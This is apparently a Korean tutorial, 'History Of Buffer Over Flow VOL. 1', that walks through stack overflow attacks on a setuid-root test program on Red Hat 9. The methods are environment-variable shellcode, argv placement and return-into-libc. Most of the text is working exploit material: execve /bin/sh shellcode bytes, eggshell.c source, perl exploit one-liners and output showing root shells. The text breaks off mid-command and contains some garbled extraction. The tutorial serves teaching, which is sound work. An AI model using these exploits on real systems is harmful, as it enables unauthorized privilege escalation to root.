History

Size: px
Start display at page:

Download "History"

Transcription

1 [Document Information] Title : History Of Buffer Over Flow VOL. 1 Date : Author : hardsoju Contact : (hardsoju@hanmail.net) 1

2 [Index] 1. 개요 2. 환경변수의이해 2.1 eggshell 을이용한 root shell 획득 2.2 한번에 root shell 획득하기 3. 랜덤스택깨기 4. OMEGA Project 의이해 4.1 OMEGA Project 를이용한 shell 획득 4.2 OMEGA Project 를이용한 root shell 획득 5. RTL(return into libc) 의이해 5.1 RTL 을이용한 shell 획득 5.2 RTL 을이용한 root shell 획득 6. 마치며 7. 참고자료 2

3 [1. 개요 ] 버퍼오버플로우는이미수십년전에그이론이나오기시작하였고, Aleph One에의해서널리알려졌다. 오래된역사만큼이나공격기법또한발전해왔는데, 이는시스템이출시될때마다새로운보안매커니즘이적용되었다는것을의미한다. 이문서는 BOF의개념을이해하고있거나한번쯤공부를했지만다양한공격기법을응용하지못하는사람을대상으로한다. 그렇기때문에기본적으로스택구조, 셸코드, 어셈블리, gdb, 프로그래밍능력이있다는가정하에작성되었다. History Of Buffer Over Flow VOL.1 에서는환경변수, OMEGA 프로젝트, RTL(return into libc) 기법에대해서다룬다. 이문서를이해하는데어려움이느껴진다면, 다른문서를이용하여 BOF의기본적인개념을잡고나서도전하기바란다. [2. 환경변수의이해 ] 환경변수는사용자에게좀더편리한사용환경을제공하기위한변수를말한다. 변수란것이어떤프로그램에서메모리에특정한값을저장해놓고참조하는것처럼, 환경변수는어떤간단한값을저장해놓고여러프로그램들이참조할수있다. 또한, 기본적으로정의되어있는환경변수이외에도사용자가언제든지정의할수가있다. 그렇다면우리가언제든정의할수있는환경변수영역에쉘코드와많은양의 NOP를집어넣으면어떻게될까? 환경변수가스택의높은주소에자리잡는다는사실과, 많은양의 NOP 뒤에이어지는쉘코드를생각해보자. 쉘획득이한결쉬워질것같지않은가? [2.1 eggshell을이용한 root shell 획득 ] eggshell은쉘코드를환경변수로등록하고, 스택포인터의위치를출력하며쉘을띄우는프로그램이다. 여기에서는랜덤스택이적용된 Redhat 9 에서테스트해보도록하겠다. 테스트환경은다음과같다. cat /etc/redhat-release Red Hat Linux release 9 (Shrike) uname -a 3

4 Linux localhost.localdomain #1 Thu Mar 13 17:54:28 EST 2003 i686 i686 i386gnu/linux 다음과같은취약프로그램을공격할것이다. cat vul.c #include <stdio.h> int main(int argc, char **argv) { ch ar buf[16]; if (argc < 2){ printf("useag: %s <arg> n",argv[0]); exit(-1); strcpy(buf,argv[1]); ls l vul -rwsr-xr-x 1 root root 월 25 17:16 vul gdb를이용하여어느지점에서버퍼가넘치게되는지알아보자. gdb -q vul (gdb) disas main Dump of assembler code for function main: 0x <main+0>: push %ebp 0x <main+1>: mov %esp,%ebp 0x <main+3>: sub $0x18,%esp 0x <main+6>: and $0xfffffff0,%esp 0x <main+9>: mov $0x0,%eax 0x e <main+14>: sub %eax,%esp 0x080483a0 <main+16>: cmpl $0x1,0x8(%ebp) 0x080483a4 <main+20>: jg 0x80483c5 <main+53> 0x080483a6 <main+22>: sub $0x8,%esp 0x080483a9 <main+25>: mov 0xc(%ebp),%eax 0x080483ac <main+28>: pushl (%eax) 0x080483ae <main+30>: push $0x804848c 0x080483b3 <main+35>: call 0x80482b0 <printf> 4

5 0x080483b8 <main+40>: add $0x10,%esp 0x080483bb <main+43>: sub $0xc,%esp 0x080483be <main+46>: push $0xffffffff 0x080483c0 <main+48>: call 0x80482c0 <exit> 0x080483c5 <main+53>: sub $0x8,%esp 0x080483c8 <main+56>: mov 0xc(%ebp),%eax 0x080483cb <main+59>: add $0x4,%eax 0x080483ce <main+62>: pushl (%eax) 0x080483d0 <main+64>: lea 0xffffffe8(%ebp),%eax 0x080483d3 <main+67>: push %eax 0x080483d4 <main+68>: call 0x80482d0 <strcpy> 0x080483d9 <main+73>: add $0x10,%esp 0x080483dc <main+76>: leave 0x080483dd <main+77>: ret 0x080483de <main+78>: nop 0x080483df <main+79>: nop End of assembler dump. (gdb) 버퍼의크기는 0x18이다. 여기에 sfp를더한값까지계산해야 ret에우리가원하는주소를덮어쓸수가있다. 즉, 우리가집어넣어야할데이터는 [24]+[4]+[ret] 이다. 다음은 eggshell.c 의소스이다. cat eggshell.c #include <stdlib.h> #define _OFFSET 0 #define _BUFFER_SIZE 512 #define _EGG_SIZE 2048 #define NOP 0x90 char shellcode[]= " x31 xc0" " x31 xdb" " x31 xc9" " xb0 x46" 5

6 " xcd x80" " x31 xc0" " x50 x68 x2f x2f x73 x68" " x68 x2f x62 x69 x6e" " x89 xe3" " x50" " x53" " x89 xe1" " x89 xc2" " xb0 x0b" " xcd x80" " x31 xdb" " xb0 x01" " xcd x80"; unsigned long get_esp() { asm volatile ("movl %esp, %eax"); // 스택포인터의위치를리턴한다. int main(int argc, char **argv) { char *ptr, *buff, *egg; long *addr_ptr, addr; int i; int offset=_offset, bsize=_buffer_size, eggsize=_egg_size; if(argc>1)bsize=atoi(argv[1]); if(argc>2)offset=atoi(argv[2]); if(argc>3)eggsize=atoi(argv[3]); if(!(buff=malloc(bsize))){ //bsize 크기의메모리를할당한다. printf("cannot allocate buff n"); exit(0); if(!(egg=malloc(eggsize))){ //eggsize 크기의메모리를할당한다. 6

7 printf("cannot allocate egg n"); exit(0); addr=get_esp() - offset; printf("esp : %p n", addr); // 스택포인터의주소를출력한다. ptr=buff; addr_ptr=(long*)ptr; for(i=0; i<bsize; i+=4) { *(addr_ptr++)=addr; ptr=egg; for(i=0; i<eggsize - strlen(shellcode)-1; i++) // 쉘코드를넣을공간만남기고 *(ptr++)=nop; NOP로채운다. for(i=0; i<strlen(shellcode); i++) // 나머지공간에쉘코드를채운다. *(ptr++)=shellcode[i]; buff[bsize-1]=' 0'; egg[eggsize-1]=' 0'; memcpy(egg, "EGG=", 4); putenv(egg); //EGG라는이름으로환경변수에등록한다. memcpy(buff, RET=,4); putenv(buff); system("/bin/sh"); // 쉘을실행시킨다. 이제 eggshell을실행하고공격을시도해보자../eggshell esp : 0xbfffea68 sh-2.05b$./vul `perl -e 'print "a"x28," x68 xea xff xbf"'` 세그멘테이션오류 sh-2.05b$ 7

8 eggshell이출력한스택포인터의값을 ret로하여공격을시도하였으나실패한것을알수있다. 하지만스택포인터가정확한쉘코드의위치를나타내지않더라도많은양의 NOP 코드가있기때문에주소를높여가며공격을시도한다면어렵지않게쉘을획득할수있다. sh-2.05b$./vul `perl -e 'print "a"x28," x68 xfa xff xbf"'` sh-2.05b# id uid=0(root) gid=500(hardsoju) groups=500(hardsoju) sh-2.05b# exit exit sh-2.05b$ root 쉘을획득하였다. 이는환경변수가스택의높은주소에위치하기때문에 eggshell이출력한스택포인터의주소보다높은곳으로 ret를조작한다면 NOP가위치한어느지점에도달한다는것을보여준다. 정확한이해를돕기위해 gdb를이용하여확인을해보도록하자. gdb에서다른사용자소유의 setuid가걸린프로그램은실행이되지않기때문에 vul1으로복사하여테스트를하겠다. 앞으로도 gdb 상에서의실행은계속 vul1을이용할것이다. sh-2.05b$ gdb -q vul1 (gdb) break main Breakpoint 1 at 0x (gdb) r Starting program: /home/hardsoju/bof/bof/vul1 Breakpoint 1, 0x in main () (gdb) x/64wx $ebp 0xbfffd498: 0xbfffd4b8 0x x xbfffd4e4 0xbfffd4a8: 0xbfffd4ec 0x c 0x x080482e0 0xbfffd4b8: 0x x x x xbfffd4c8: 0xbfffd4e4 0x080483e0 0x x4000c660 0xbfffd4d8: 0xbfffd4dc 0x x xbffff3d8 0xbfffd4e8: 0x xbffff3f4 0xbffff413 0xbffff423 0xbfffd4f8: 0xbffff42e 0xbffff43c 0xbffff44c 0xbffff46c 0xbfffd508: 0xbffff47f 0xbffffc7f 0xbffffc8d 0xbffffe50 0xbfffd518: 0xbffffe94 0xbffffeb2 0xbffffebe 0xbffffed9 0xbfffd528: 0xbffffeee 0xbffffeff 0xbfffff32 0xbfffff46 8

9 0xbfffd538: 0xbfffff4e 0xbfffff5f 0xbfffff92 0xbfffffb4 0xbfffd548: 0xbfffffcb 0x x xffffe000 0xbfffd558: 0x x0febfbff 0x x xbfffd568: 0x x x x xbfffd578: 0x x x x xbfffd588: 0x x x x (gdb) 0xbfffd598: 0x x080482e0 0x b 0x000001f4 0xbfffd5a8: 0x c 0x000001f4 0x d 0x000001f4 0xbfffd5b8: 0x e 0x000001f4 0x f 0xbffff3d3... 중 략... (gdb) 0xbffff398: 0x x x x xbffff3a8: 0x x x x xbffff3b8: 0x x x x xbffff3c8: 0x x x x xbffff3d8: 0x6d6f682f 0x61682f65 0x6f x422f756a 0xbffff3e8: 0x622f464f 0x762f666f 0x00316c75 0x54534f48 0xbffff3f8: 0x454d414e 0x636f6c3d 0x6f686c61 0x6c2e7473 0xbffff408: 0x6c61636f 0x616d6f64 0x53006e69 0x4c4c4548 0xbffff418: 0x69622f3d 0x61622f6e 0x x3d4d5245 0xbffff428: 0x x d 0x x313d455a 0xbffff438: 0x x53454c4a 0x x xbffff448: 0x006f6b3d 0x5f x45494c43 0x313d544e 0xbffff458: 0x312e3239 0x352e3836 0x20312e30 0x xbffff468: 0x x5f x3d x f 0xbffff478: 0x f 0x f 0x903d4747 0x xbffff488: 0x x x x (gdb) 0xbffff498: 0x x x x xbffff4a8: 0x x x x xbffff4b8: 0x x x x xbffff4c8: 0x x x x xbffff4d8: 0x x x x

10 0xbffff4e8: 0x x x x xbffff4f8: 0x x x x xbffff508: 0x x x x xbffff518: 0x x x x xbffff528: 0x x x x xbffff538: 0x x x x xbffff548: 0x x x x xbffff558: 0x x x x xbffff568: 0x x x x xbffff578: 0x x x x xbffff588: 0x x x x (gdb) ebp 부터추적을해서올라가보니 NOP 코드가시작되는부분이나타났다. 쉘코드가환경변수로등록된쉘을띄우게되면, 해당쉘이유효하는한스택의높은영역에는 NOP와쉘코드가자리잡고있을것이다. 이때그쉘에서공격을시도하여 ret를 NOP가위치한환경변수의영역으로돌리게되면쉘획득이가능한것이다. eggshell이출력한스택포인터와 NOP가시작되는주소에는차이가있지만, 환경변수는스택의높은영역에자리잡는다는사실을다시한번상기한다면스택포인터가 NOP나쉘코드의정확한위치를나타내지않는것은아무문제가되지않는다. 여기에서스택포인터는이미충분할만큼중요한역할을하고있다는것을느낄것이다. [2.2 한번에 root shell 획득하기 ] eggshell을이용했던앞에서의공격을응용하여한번에쉘을획득해보자. 앞에서와같이스택포인터에의존하지않고, 환경변수의주소를알아낼수만있다면공격은한결수월해질것이다. 먼저쉘에서 export 명령을이용하여 NOP와쉘코드를환경변수에등록한다. export SHELLCODE= `perl -e 'print " x90"x1024," x31 xc0 x31 xdb x31 xc9 xb0 x46 xcd x80 x31 xc0 x50 x68 x2f x2f x73 x68 x68 x2f x62 x69 x6e x89 xe3 x50 x53 x89 xe1 x8 9 xc2 xb0 x0b xcd x80 x31 xdb xb0 x01 xcd x80"'` 제대로등록되었는지확인을해보자. export 10

11 declare -x DISPLAY="localhost:10.0" declare -x G_BROKEN_FILENAMES="1" declare -x HISTSIZE="1000" declare -x HOME="/home/hardsoju" declare -x HOSTNAME="localhost.localdomain" declare -x INPUTRC="/etc/inputrc" declare -x JLESSCHARSET="ko" declare -x LANG="ko_KR.eucKR" declare -x LESSOPEN=" /usr/bin/lesspipe.sh %s" declare -x LOGNAME="hardsoju" 중 략 declare -x MAIL="/var/spool/mail/hardsoju" declare -x OLDPWD="/home/hardsoju/BOF" declare -x PATH="/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/hardsoju/bin" declare -x PWD="/home/hardsoju/BOF/bof" declare -x SHELL="/bin/bash" declare -x SHELLCODE= 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱1?? F?1픐 h//shh/bin됥ps됣됀??1 方? declare -x SHLVL="1" declare -x SSH_ASKPASS="/usr/libexec/openssh/gnome-ssh-askpass" 11

12 declare -x SSH_CLIENT=" " declare -x SSH_CONNECTION=" " declare -x SSH_TTY="/dev/pts/1" declare -x TERM="xterm" declare -x USER="hardsoju" 여러환경변수사이에 SHELLCODE 라는이름으로등록된것이확인되었다. 이제환경변수가위치한주소를알아보자. cat get.c #include <stdio.h> int main(int argc, char **argv) { char *addr; addr=getenv(argv[1]); printf("address %p n", addr); return 0; 위소스는환경변수의이름을이용하여주소를출력하는프로그램이다. 소스는간단하므로쉽게이해가가능할것이다../get SHELLCODE address 0xbffff7e9./vul `perl -e 'print "a"x28," xe9 xf7 xff xbf"'` sh-2.05b# id uid=0(root) gid=500(hardsoju) groups=500(hardsoju) sh-2.05b# exit exit 쉘을획득하였다. 12

13 [3. 랜덤스택깨기 ] 위에서이미랜덤스택환경에서쉘을획득하였고앞으로도계속그럴것이지만, 이장에 서굳이랜덤스택깨기란제목을붙인이유는랜덤스택에서도랜덤하지않은부분을 공략할것이기때문이다. 랜덤스택인데랜덤하지않은부분을이용한다니뭔가앞뒤가맞지않는느낌이다. 하지만불행인지다행인지랜덤스택에는랜덤하지않은부분이존재하는데여기에서는 argv 영역을이용하여쉘을획득할것이다. 즉, argument(ex. argv[2]) 에쉘코드를올린다고가정하면그주소는랜덤스택이라도 변하지않으므로 ret를 argument로향하게하여쉘획득이가능한것이다. 그럼 argv의주소를알아내야하는데여기에서는 gdb를이용하겠다. gdb -q vul1 (gdb) disas main Dump of assembler code for function main: 0x <main+0>: push %ebp 0x <main+1>: mov %esp,%ebp 0x <main+3>: sub $0x18,%esp 0x <main+6>: and $0xfffffff0,%esp 0x <main+9>: mov $0x0,%eax 0x e <main+14>: sub %eax,%esp 0x080483a0 <main+16>: cmpl $0x1,0x8(%ebp) 0x080483a4 <main+20>: jg 0x80483c5 <main+53> 0x080483a6 <main+22>: sub $0x8,%esp 0x080483a9 <main+25>: mov 0xc(%ebp),%eax 0x080483ac <main+28>: pushl (%eax) 0x080483ae <main+30>: push $0x804848c 0x080483b3 <main+35>: call 0x80482b0 <printf> 0x080483b8 <main+40>: add $0x10,%esp 0x080483bb <main+43>: sub $0xc,%esp 0x080483be <main+46>: push $0xffffffff 0x080483c0 <main+48>: call 0x80482c0 <exit> 0x080483c5 <main+53>: sub $0x8,%esp 0x080483c8 <main+56>: mov 0xc(%ebp),%eax 0x080483cb <main+59>: add $0x4,%eax 0x080483ce <main+62>: pushl (%eax) 0x080483d0 <main+64>: lea 0xffffffe8(%ebp),%eax 0x080483d3 <main+67>: push %eax 13

14 0x080483d4 <main+68>: call 0x80482d0 <strcpy> 0x080483d9 <main+73>: add $0x10,%esp 0x080483dc <main+76>: leave 0x080483dd <main+77>: ret 0x080483de <main+78>: nop 0x080483df <main+79>: nop End of assembler dump. (gdb) 이제공격과정과똑같은상태로프로그램을실행한다. argv[1] 에 ret까지덮어쓰도록하고, argv[2] 에는 NOP와쉘코드를집어넣는다. (gdb) break main Breakpoint 1 at 0x (gdb) r `perl -e 'print "a"x32'` `perl -e 'print " x90"x200," x31 xc0 x31 xdb x31 xc9 xb0 x46 xcd x80 x31 xc0 x50 x68 x2f x2f x73 x68 x68 x2f x62 x69 x6e x89 xe3 x50 x53 x89 xe1 x89 xc 2 xb0 x0b xcd x80 x31 xdb xb0 x01 xcd x80"'` Starting program: /home/hardsoju/bof/bof/vul1 `perl -e 'print "a"x32'` `perl -e 'print " x90"x200," x31 xc0 x31 xdb x31 xc9 xb0 x46 xcd x80 x31 xc0 x50 x 68 x2f x2f x73 x68 x68 x2f x62 x69 x6e x89 xe3 x50 x53 x89 xe1 x89 xc2 xb0 x0b xcd x80 x31 xdb xb0 x01 xcd x80"'` Breakpoint 1, 0x in main () (gdb) 이제랜덤스택중에서도랜덤하지않은영역인 argv를찾아보자. (gdb) x/10wx $ebp 0xbffff2f8: 0xbffff318 0x x xbffff344 0xbffff308: 0xbffff354 0x c 0x x080482e0 0xbffff318: 0x x (gdb) x/10wx 0xbffff344 0xbffff344: 0xbffffac5 0xbffffae1 0xbffffb02 0x xbffff354: 0xbffffbf4 0xbffffc13 0xbffffc23 0xbffffc2e 0xbffff364: 0xbffffc3c 0xbffffc4c (gdb) x/s 0xbffffac5 0xbffffac5: "/home/hardsoju/bof/bof/vul1" (gdb) 14

15 0xbffffae1: 'a' <repeats 32 times> (gdb) 0xbffffb02: ' 220' <repeats 200 times>... (gdb) 0xbffffbca: "1?? F?2001픐h//shh/bin 211?S 211?211째 v?2001 方 001?200" (gdb) 0xbffffbf4: "HOSTNAME=localhost.localdomain" (gdb) 0xbffffc13: "SHELL=/bin/bash" (gdb) q The program is running. Exit anyway? (y or n) y argv[2] 는 0xbffffb02 인것을알수있다. 실제공격은 gdb 에서처럼 argv[2] 에 NOP와쉘코드를집어넣고, argv[1] 은 argv[2] 를가리키게하여공격할것이다. 즉, argv[1] 에입력하는데이터가 ret를조작하여 argv[2] 의쉘코드를실행시키게된다../vul `perl -e 'print " x02 xfb xff xbf"x8'` `perl -e 'print " x90"x200," x31 xc0 x31 xdb x31 xc9 xb0 x46 xcd x80 x31 xc0 x50 x 68 x2f x2f x73 x68 x68 x2f x62 x69 x6e x89 xe3 x50 x53 x89 xe1 x89 xc2 xb0 x0b xcd x80 x31 xdb xb0 x01 xcd x80"'` sh-2.05b# id uid=0(root) gid=500(hardsoju) groups=500(hardsoju) sh-2.05b# exit exit 쉘이떨어졌다. argv[1] 을 8번반복하는이유는 ret까지덮어써야하기때문이다. [4. OMEGA Project의이해 ] 고전적인 BOF 공격은쉘코드를메모리에위치시키고, ret를조작하여쉘코드를가리키게했다. 이과정에서공격성공률을높이기위해 NOP 코드를가능한많이집어넣어주소를추측하는고단함을약간은덜어낼수있었다. 15

16 하지만, 이러한방법은쉘코드를넣을적당한공간이없거나, 쉘코드의위치를찾아내는데많은어려움이있다. 또한최근의시스템에서스택에존재하는쉘코드를실행하지못하게하는방어기법은이것들이더이상유용한공격이아님을증명한다. Lamagra 라는해커는쉘코드를사용하지않고쉘을띄울수있는공격방법을고민하기시작하였고, 이것이이름하여 OMEGA Project 이다. OMEGA Project는스택에쉘코드를집어넣고, shell 코드의위치를추측하는번거로움을해결하였다. [4.1 OMEGA Project를이용한 shell 획득 ] 다음과같은취약프로그램을공격할것이다. cat vul.c #include <stdio.h> main(int argc, char **argv) { char buf[16]; if (argc < 2){ printf("useag: %s <arg> n",argv[0]); exit(-1); strcpy(buf,argv[1]); ls l vul -rwsr-xr-x 1 root root 월 25 17:16 vul 앞에서와같은취약프로그램이지만확인하는의미에서다시한번 gdb를이용하여오버 플로우가발생하는지점을알아보도록하겠다. gdb -q vul1 (gdb) disas main Dump of assembler code for function main: 0x <main+0>: push %ebp 0x <main+1>: mov %esp,%ebp 0x <main+3>: sub $0x18,%esp 0x <main+6>: and $0xfffffff0,%esp 16

17 0x <main+9>: mov $0x0,%eax 0x e <main+14>: sub %eax,%esp 0x080483a0 <main+16>: cmpl $0x1,0x8(%ebp) 0x080483a4 <main+20>: jg 0x80483c5 <main+53> 0x080483a6 <main+22>: sub $0x8,%esp 0x080483a9 <main+25>: mov 0xc(%ebp),%eax 0x080483ac <main+28>: pushl (%eax) 0x080483ae <main+30>: push $0x804848c 0x080483b3 <main+35>: call 0x80482b0 <printf> 0x080483b8 <main+40>: add $0x10,%esp 0x080483bb <main+43>: sub $0xc,%esp 0x080483be <main+46>: push $0xffffffff 0x080483c0 <main+48>: call 0x80482c0 <exit> 0x080483c5 <main+53>: sub $0x8,%esp 0x080483c8 <main+56>: mov 0xc(%ebp),%eax 0x080483cb <main+59>: add $0x4,%eax 0x080483ce <main+62>: pushl (%eax) 0x080483d0 <main+64>: lea 0xffffffe8(%ebp),%eax 0x080483d3 <main+67>: push %eax 0x080483d4 <main+68>: call 0x80482d0 <strcpy> 0x080483d9 <main+73>: add $0x10,%esp 0x080483dc <main+76>: leave 0x080483dd <main+77>: ret 0x080483de <main+78>: nop 0x080483df <main+79>: nop End of assembler dump. (gdb) 버퍼의크기는 0x18이다. 여기에 sfp를더한값까지계산해야 ret에우리가원하는주소를덮어쓸수가있다. 즉, 우리가집어넣어야할데이터는 [24]+[4]+[ret] 이다. 이제 ret 부분에쉘코드의주소가아닌 system 함수의주소를넣으면어떻게될까? 프로그래밍경험이있다면알겠지만, system 함수는쉘명령을실행하는아주유용한함수이다. man 페이지에서자세히알아보자. NAME 17

18 system - execute a shell command SYNOPSIS #include <stdlib.h> int system(const char *string); DESCRIPTION system() executes a command specified in string by calling /bin/sh -c string, and returns after the command has been completed. During execution of the command, SIGCHLD will be blocked, and SIGINT and SIGQUIT will be ignored. 영어로되어있어지레겁먹을수있지만, 다행스럽게도 execute a shell command란문구가눈에들어온다. 또한 /bi/sh c 를호출하여 string을실행한다는것을알수있다. 못믿겠다면, 지금당장쉘에서 /bin/sh c ls 를실행해보기바란다. 현재디렉토리의목록이출력될것이다. ret 부분에 system 함수의주소를넣어줄때는실행시의공유라이브러리가로딩된시점의 system 함수주소를넣어주어야한다. gdb를이용해보자. (gdb) break main Breakpoint 1 at 0x (gdb) r Starting program: /home/hardsoju/bof/bof/vul1 Breakpoint 1, 0x in main () (gdb) x/x system 0x4203f2c0 <system>: 0x83e58955 (gdb) 메인함수에브레이크포인트를잡고프로그램을실행시킨후 system 함수의주소를알아냈다. 이제본격적인공격에들어가보자../vul `perl e print a x28, xc0 xf2 x03 x42 x41 x41 x41 x41 ` sh: line 1: AAAA: command not found 세그멘테이션오류 18

19 세그멘테이션오류가뜨고프로그램은종료되었다. x41 x41 x41 x41 은 AAAA 의 hex 값이다. command not found 라는메시지는쉘에서존재하지않는명령을내렸을때나오는에러메시지이다. 한번테스트해보자. hardsoju -bash: hardsoju: command not found 역시 hardsoju란명령은존재하지않는다. 에러메시지또한 command not found 인것을확인할수있다. ( 쉘의종류는다르지만여기서중요한문제는아니다.) 이것으로 ret를 system 함수로향하게했을때, system 함수가실행되었다는것이증명되었다. 만약위과정에서오류가발생하지않는다면다양한방법으로오류를유발시켜야한다. 필자는공격성공을눈앞에두고도세그멘테이션오류만뜨고프로그램이종료되는바람에많은시간을낭비했다. 테스트를통해알아본결과시스템버전별, 그리고시도하는횟수에따라서결과가달라졌다. 가령위와같은방식으로해서오류가나타나지않는다면똑같은방법을여러횟수에걸쳐시도하거나./vul `perl e print a x28, xc0 xf2 x03 x42 x41 ` 또는,./vul `perl e print a x28, xc0 xf2 x03 x42 ` 와같은방식으로다양한조합을해보아야한다. 이제 system 함수를이용해서쉘을띄우는일만남았다. 다음과같이공격을시도해본다../vul `perl e print a x28, xc0 xf2 x03 x42 x41 x41 x41 x41 ` 2>out 세그멘테이션오류 ls -l out -rw-rw-r-- 1 hardsoju hardsoju 36 1월 25 17:29 out 공격을시도하고에러메시지는 out 이란파일에저장하였기때문에화면에는세그멘테이션오류만뜨고프로그램이중지되었다. 다음으로 lamagra가제작한심볼릭링크를거는프로그램을이용하여 out 이란파일을 /bin/sh로심볼릭링크를건다. 소스는다음과같다. 19

20 cat link.c #include <stdio.h> #include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <sys/types.h> void main(int argc, char **argv) { FILE *fd; int i; char buf[512], filename[50]; char *extract; if (argc!= 2) { printf("usage: %s <file> n", argv[0]); exit(-1); fd = fopen(argv[1], "r"); fgets(buf, 512, fd); extract = strrchr(buf, ':'); *extract = 0x0; extract = strrchr(buf, ':'); strcpy(filename, extract + 2); printf("filename = %s n", filename); fclose(fd); symlink("/bin/sh", filename);./link out filename = AAAA 심볼릭링크가제대로걸렸는지확인해보자. ls -l 합계 40 lrwxrwxrwx 1 hardsoju hardsoju 7 1월 25 17:29 AAAA -> /bin/sh 20

21 -rwxrwxr-x 1 hardsoju hardsoju 월 25 17:13 link -rw-rw-r-- 1 hardsoju hardsoju 601 1월 25 17:13 link.c -rw-rw-r-- 1 hardsoju hardsoju 36 1월 25 17:29 out -rwsr-xr-x 1 root root 월 25 17:16 vul -rw-rw-r-- 1 hardsoju hardsoju 172 1월 25 17:16 vul.c 현재디렉토리를 PATH 에추가한후앞에서와동일하게공격한다. echo $PATH /usr/local/bin:/bin:/usr/bin:/usr/x11r6/bin:/home/hardsoju/bin export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin: /home/hardsoju/bin:././vul `perl e print a x28, xc0 xf2 x03 x42 x41 x41 x41 x41 ` 세그멘테이션오류 일단쉘이떴는지확인하기위해 ps 명령을내려보았다. ps PID TTY TIME CMD 3767 pts/3 00:00:01 bash 4026 pts/3 00:00:00 vul 4027 pts/3 00:00:00 AAAA 4051 pts/3 00:00:00 ps id uid=500(hardsoju) gid=500(hardsoju) groups=500(hardsoju) 쉘이뜬것을확인할수있다. 쉘을획득하는데성공하였지만, uid가자기자신임을알수있다. 그이유는 getuid 시스템에서취약한프로그램을공격하면쉘변수내의 uid를가져와서결국은실제사용자의권한으로프로그램을실행하기때문이다. [4.2 OMEGA Project를이용한 root shell 획득 ] 이제는 root 권한을획득해보겠다. 앞에서의공격과달리 system 함수호출이전에 setreuid 함수를먼저호출하여 uid를 0 으로맞춘후쉘을실행할것이다. 21

22 다음과같은공격을예상할수있다../vul "`perl -e 'print " x20 x79 x0d x42"x8," xc0 xf2 x03 x42 x00 x00 x00 x00"'`" 위와같은경우 setreuid함수의인자로 x00 x00 x00 x00을전달하고있지만, 취약한함수가 strcpy 일경우제대로전달이되지않는문제점이있다. 이제이러한문제점을해결하고루트권한을획득해보겠다. 먼저 vul.c의소스에 dumpcode.h를추가하여, 메모리정보를자세히볼수있도록한다. cat vul.c #include <stdio.h> #include "dumpcode.h" // 추가된부분 main(int argc, char **argv) { char buf[16]; if (argc < 2){ printf("useag: %s <arg> n",argv[0]); exit(-1); strcpy(buf,argv[1]); dumpcode((char*)buf, 128); // 추가된부분 dumpcode.h의소스는다음과같다. cat dumpcode.h void printchar(unsigned char c) { if(isprint(c)) printf("%c",c); else printf("."); void dumpcode(unsigned char *buff, int len) { int i; for(i=0;i<len;i++) 22

23 { if(i%16==0) printf("0x%08x ",&buff[i]); printf("%02x ",buff[i]); if(i%16-15==0) { int j; printf(" "); for(j=i-15;j<=i;j++) printchar(buff[j]); printf(" n"); if(i%16!=0) { int j; int spaces=(len-i+16-i%16)*3+2; for(j=0;j<spaces;j++) printf(" "); for(j=i-i%16;j<len;j++) printchar(buff[j]); printf(" n"); 취약프로그램을컴파일하고실행시켜보면다음과같은메모리정보가출력된다../vul `perl -e 'print "a"x28,"bbbb"'` 0xbfffde aaaaaaaaaaaaaaaa 0xbfffde aaaaaaaaaaaabbbb 0xbfffde b4 de ff bf c0 de ff bf 2c ,X.@ 0xbfffde xbfffde90 c b4 de ff bf $... 0xbfffdea c ac de ff bf T...`..@... 0xbfffdeb c1 fb ff bf c7 fb ff bf xbfffdec0 e8 fb ff bf 07 fc ff bf 12 fc ff bf 22 fc ff bf..."... 23

24 세그멘테이션오류 28바이트를입력하여 sfp 까지덮어쓰고, ret는 bbbb라는문자열이덮어쓴것을알수있다. 좀더자세히보면메모리상에 이있는것도확인할수있다. 이값들은 setreuid의인자로전달하기에손색이없는듯하다. 공격자가직접넣어줄수없다면, 메모리에존재하는것을인자로전달하는것이다. 하지만, 한참뒤에존재하는 을어떻게 setreuid의인자로전달할것인가하는문제가남아있는데, 그문제는임의의함수를계속 call 하는방법으로해결할것이다. 그렇게되면프로그램의실행은계속이어져서결국엔 이있는곳까지도달하여 setreuid의인자로전달할수있게된다. 여기에서는 printf를호출하기로하자. gdb -q vul1 (gdb) break main Breakpoint 1 at 0x (gdb) r Starting program: /home/hardsoju/bof/bof/vul1 Breakpoint 1, 0x in main () (gdb) x/x printf 0x4204f0e0 <printf>: 0x83e58955 (gdb) x/x setreuid 0x420d7920 <setreuid>: 0x53e58955 (gdb) x/x system 0x4203f2c0 <system>: 0x83e58955 (gdb) q 간혹쉘기반에서입력되지않는문자들이있는데이런경우에는 로한번더묶어주어야한다../vul "`perl -e 'print "a"x28," 